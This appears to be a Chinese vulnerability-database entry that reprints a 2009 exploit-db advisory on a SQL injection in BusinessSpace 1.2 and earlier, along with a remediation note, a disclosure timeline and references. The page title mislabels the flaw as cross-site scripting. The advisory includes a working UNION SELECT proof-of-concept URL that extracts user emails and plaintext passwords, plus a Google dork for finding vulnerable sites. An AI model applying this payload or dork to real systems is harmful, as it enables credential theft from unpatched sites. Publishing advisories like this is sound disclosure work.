BusinessSpace 脚本classified.php 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117377 漏洞类型 SQL注入
发布时间 2009-02-09 更新时间 2009-02-26
CVE编号 CVE-2009-0516 CNNVD-ID CNNVD-200902-270
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8011
https://cxsecurity.com/issue/WLB-2009020161
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-270
|漏洞详情
BusinessSpace是一款企业协同工作软件。BusinessSpace1.2及之前版本中的分类页(classified.php)存在SQL注入漏洞。远程攻击者可以借助对index.php的id参数,执行任意的SQL指令。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_102$2009

-----------------------------------------------------------------------------------------
[ECHO_ADV_102$2009] BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : February, 7 th 2009
Location     : Jakarta, Indonesia
Web          : http://e-rdc.org/v1/news.php?readmore=123
Critical Lvl : Medium
Impact       : Manipulation of data / Exposure of sensitive information
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : BusinessSpace
version     : <= 1.2
Vendor      : http://www.business-space.org
Description :

BusinessSpace - Social Networking in a Box
BusinessSpace is an enterprise collaboration software designed to stand up to and keep in pace with today’s ever-evolving, rapidly-growing world of online business and entrepreneurship. Enterprise community software has been taken up to another lever by the developers of BusinessSpace separating itself from regular social networking software and community software. BusinessSpace is not just a social network CMS, not just a LinkedIn clone: it’s more than that. BusinessSpace was developed by business people, just like you. This means that this business networking software is laced with the features that a businessman, employer, employee or entrepreneur needs. No fancy community software applications, no fancy profiles: it’s simply strictly business. Because that’s what BusinessSpace enterprise social networking software is all about – business.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

Input passed to the "id" parameter in classified.php page is not properly verified before being used 
in sql queries.This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation allows attacker retrieving users email and password in plain text.


Poc/Exploit:
~~~~~~~~

http://www.example.com/[path]/index.php?id=-1 union select 1,concat(id,0x3a,name,0x3a,surname,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10 from users--&page=classified

Dork:
~~~
Google : "Create your personalized professional identity" or "Professional Networking Starts Here!"


Solution:
~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals in php.ini

Timeline:
~~~~~~~

- 01 - 02 - 2009 bug found
- 01 - 02 - 2009 vendor contacted but no response
- 06 - 02 - 2009 vendor contacted again still no response
- 07 - 02 - 2009 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~
~ ping - my dearest wife, zautha - my beloved son, and my next beloved daughter "welcome to the world".
~ y3dips,the_day (congratz for the baby),Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,
the_hydra,neng chika, str0ke
~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
~ SK,Abond,pokley,cybertank, super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed
~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,
kuntua, stev_manado,nofry,k1tk4t,0pt1c,k1ngk0ng
~ newbie_hacker@yahoogroups.com
~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

-------------------------------- [ EOF ] ---------------------------------- 

# milw0rm.com [2009-02-09]
|参考资料

来源:XF
名称:businessspace-index-sql-injection(48606)
链接:http://xforce.iss.net/xforce/xfdb/48606
来源:BID
名称:33692
链接:http://www.securityfocus.com/bid/33692
来源:BUGTRAQ
名称:20090209[ECHO_ADV_102$2009]BusinessSpace<=1.2(id)RemoteSQLInjectionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/500787/100/0/threaded
来源:MILW0RM
名称:8011
链接:http://www.milw0rm.com/exploits/8011
来源:SECUNIA
名称:33875
链接:http://secunia.com/advisories/33875